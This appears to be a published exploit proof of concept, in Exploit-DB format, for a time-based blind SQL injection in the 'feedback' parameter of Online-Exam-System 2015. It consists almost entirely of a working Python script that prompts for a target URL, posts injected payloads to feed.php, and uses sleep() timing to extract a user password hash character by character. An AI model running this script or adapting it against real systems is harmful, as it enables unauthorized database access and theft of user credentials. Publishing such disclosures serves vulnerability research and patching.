Online-Exam-System 2015 SQL Injection

`# Exploit Title: Online-Exam-System 2015 - 'feedback' SQL Injection  
# Date: 2020-06-04  
# Exploit Author: Gus Ralph  
# Vendor Homepage: https://github.com/sunnygkp10/  
# Software Link: https://github.com/sunnygkp10/Online-Exam-System-.git  
# Affected Version: 2015  
# Tested on: Ubuntu  
# CVE : N/A  
  
import requests, string, time  
from sys import stdout  
  
URL = raw_input("Please enter the URL to attack (example http://localhost/Online-Exam-System/)\n")  
  
payload = "feedback' , '2020-06-04', '01:58:10am'),('1337','test','[email protected]','test',(SELECT CASE WHEN (SELECT EXISTS(SELECT password FROM user WHERE password REGEXP BINARY '^"  
payload2 = ".*'))=1 THEN sleep(5) ELSE sleep(0) END),'2020-06-04', '01:58:10am'); -- -"  
so_far = hash = ""  
while True:  
for i in string.digits + string.ascii_lowercase:  
so_far = hash + i  
payload_to_send = payload + str(so_far) + payload2  
data = {"name":"test","email":"[email protected]","subject":"test","feedback":payload_to_send}  
start = time.time()  
r = requests.post(URL + "feed.php", data = data)  
request_time = time.time() - start  
if request_time > 5:  
hash += i  
stdout.write(i)  
stdout.flush()  
break  
if len(hash) > 31:  
stdout.write("\n")  
print "Hash found: " + hash  
break  
`